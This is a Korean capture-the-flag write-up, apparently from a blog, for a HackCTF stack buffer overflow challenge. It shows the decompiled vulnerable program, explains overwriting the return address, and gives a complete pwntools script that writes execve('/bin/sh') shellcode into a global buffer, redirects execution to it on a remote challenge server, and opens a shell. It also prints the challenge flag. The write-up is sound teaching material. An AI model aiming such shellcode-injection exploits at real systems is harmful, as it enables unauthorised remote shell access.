-
내 버퍼가 흘러넘친다!!!CTF/HackCTF 2021. 1. 21. 01:15
Disassembly 디스어셈블리
undefined4 main(void) { char *s; setvbuf(_reloc.stdout, 0, 2, 0); printf("Name : "); read(0, name, 0x32); printf("input : "); gets(&s); return 0; }
코드 영역의 name 위치에 0x32만큼 입력받고, gets를 통해 스택 버퍼 오버플로우가 발생하는 코드이다.
RET Overwrite
스택 버퍼 오버플로우가 발생하므로 RET Overwrite을 시도해보자. return address를 덮을 gadget이 필요한데, 주소 name을 알고 있으므로 name에 쉘코드를 넣고 덮어쓰면 문제를 풀 수 있다.
Code
더보기from pwn import * binary = "./prob1" server = "ctf.j0n9hyun.xyz" port = 3003 # context.log_level = 'debug' context.binary = binary p = remote(server, port) # p = process(binary) e = ELF(binary) shellcode = asm(shellcraft.execve("/bin/sh",0,0)) p.send(shellcode) payload = b"A"*0x18 payload += p32(e.symbols["name"]) p.sendline(payload) p.interactive()
Flag
HackCTF{1_l0v3_70p_pwn3r_m4lhyuk}
'CTF > HackCTF' 카테고리의 다른 글
Simple_Overflow_ver_2 (0) 2021.01.21 x64 Simple_size_BOF (0) 2021.01.21 x64 Buffer Overflow (0) 2021.01.21 Basic_BOF #2 (0) 2021.01.21 Basic_BOF #1 (0) 2021.01.21